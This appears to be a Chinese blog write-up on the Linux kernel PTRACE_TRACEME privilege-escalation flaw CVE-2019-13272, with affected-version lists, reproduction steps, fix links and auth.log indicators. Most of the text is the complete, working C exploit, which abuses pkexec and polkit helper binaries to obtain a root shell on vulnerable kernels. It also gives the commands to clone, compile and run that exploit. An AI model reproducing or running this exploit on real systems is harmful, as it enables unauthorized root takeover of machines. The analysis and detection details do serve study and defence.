在5.1.17之前的Linux内核中,kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve可能允许攻击者控制

漏洞分析

Linux执行PTRACE_TRACEME函数时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数,但是,对象struct cred的生存周期规则不允许无条件的将RCU引用转换为稳定引用。PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作,如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。

注:该漏洞利用前提:需要目标服务器有桌面环境

影响范围

内核<5.1.17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// - lubuntu 19.04 kernel 5.0.0-13-generic
// - Sabayon 19.03 kernel 4.20.0-sabayon
// - Pop! OS 19.04 kernel 5.0.0-21-generic

漏洞复现

系统环境地址

创建一个低权限用户test并设置密码

1
2
useradd -d /home/test -m test
passwd test

然后切换到test用户,查看系统内核版本是否小于5.1.17,并当前用户和当前用户的UID

1
2
3
su test
uname -a
id

image-20210913140209195

下载poc

1
git clone https://github.com/bcoles/kernel-exploits.git

这里会出现如下报错

1
fatal: unable to access 'https://github.com/bcoles/kernel-exploits.git/': gnutls_handshake() failed: Error in the pull function.

更新下源就好

编译执行

1
2
gcc poc.c -o exp
./exp

image-20210913141422170

无法成功利用,版本信息

image-20210913100719145

image-20210913112232590

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
//
// Uses pkexec technique. Requires execution within the context
// of a user session with an active PolKit agent.
//
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
// or SELinux deny_ptrace=on.
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// ---
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching policies for useful helpers ...
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// [root@localhost CVE-2019-13272]# id
// uid=0(root) gid=0(root) groups=0(root),1000(user)
// [root@localhost CVE-2019-13272]# uname -a
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
// ---

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif

/*
* enabled automatic targeting.
* uses pkaction to search PolKit policy actions for viable helper executables.
*/
#define ENABLE_AUTO_TARGETING 1

/*
* fall back to known helpers if automatic targeting fails.
* note: use of these helpers may result in PolKit authentication
* prompts on the session associated with the PolKit agent.
*/
#define ENABLE_FALLBACK_HELPERS 1

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

/* known helpers to use if automatic targeting fails */
#if ENABLE_FALLBACK_HELPERS
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/sbin/xfce4-pm-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
};
#endif

/* helper executables known to cause problems (hang or fail) */
const char *blacklisted_helpers[] = {
"/xf86-video-intel-backlight-helper",
"/cpugovctl",
"/resetxpad",
"/package-system-locked",
"/cddistupgrader",
};

#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}

/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();

self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);

SAFE(dup2(self_fd, 42));

/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}

/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);

dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}

SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));

/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}

middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}

/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;

SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));

return 0;
}

static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");

dprintf("[.] Checking environment ...\n");

if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}

if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
warn++;
}

if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}

if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}

if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
warn++;
}

if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}

if (warn > 0) {
dprintf("[~] Done, with %d warnings\n", warn);
} else {
dprintf("[~] Done, looks good\n");
}

return warn;
}

/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
#if ENABLE_AUTO_TARGETING
int find_helpers() {
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
return 0;
}

char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run %s: %m\n", cmd);
return 0;
}

char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
int blacklisted_helper = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);

while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes */
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}

if (useful_action == 0)
continue;

useful_action = 0;

/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;

memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}

/* check helper path against helpers defined in 'blacklisted_helpers' array */
blacklisted_helper = 0;
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
blacklisted_helper = 1;
break;
}
}
if (blacklisted_helper == 1)
continue;

/* check the path exists */
if (stat(&buffer[0], &st) != 0) {
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
continue;
}

helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;

if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}

pclose(fp);
return 0;
}
#endif

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
dprintf("[.] Trying helper: %s\n", helper_path);

/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));

/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;

/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}

/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");

force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();

dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

check_env();

if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}

int i;

#if ENABLE_AUTO_TARGETING
/* search polkit policies for helper executables */
dprintf("[.] Searching policies for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;

if (stat(helpers[i], &st) != 0)
continue;

helper_path = helpers[i];
ptrace_traceme_root();
}
#endif

#if ENABLE_FALLBACK_HELPERS
/* search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) != 0)
continue;

helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
#endif

dprintf("[~] Done\n");

return 0;
}

修复

https://github.com/torvalds/linux/commit/6994eefb0053799d2e07cd140df6c2ea106c41ee

https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-13272

日志特征

/var/log/auth.log

1
2
3
Sep 12 23:47:31 ubuntu pkexec: pam_unix(polkit-1:session): session opened for user test by (uid=0)
Sep 12 23:47:31 ubuntu pkexec: pam_systemd(polkit-1:session): Cannot create session: Already running in a session
Sep 12 23:47:31 ubuntu pkexec[8588]: test: Executing command [USER=test] [TTY=unknown] [CWD=/home/test/kernel-exploits/CVE-2019-13272] [COMMAND=/usr/lib/unity-settings-daemon/usd-backlight-helper --help]

image-20210913145116030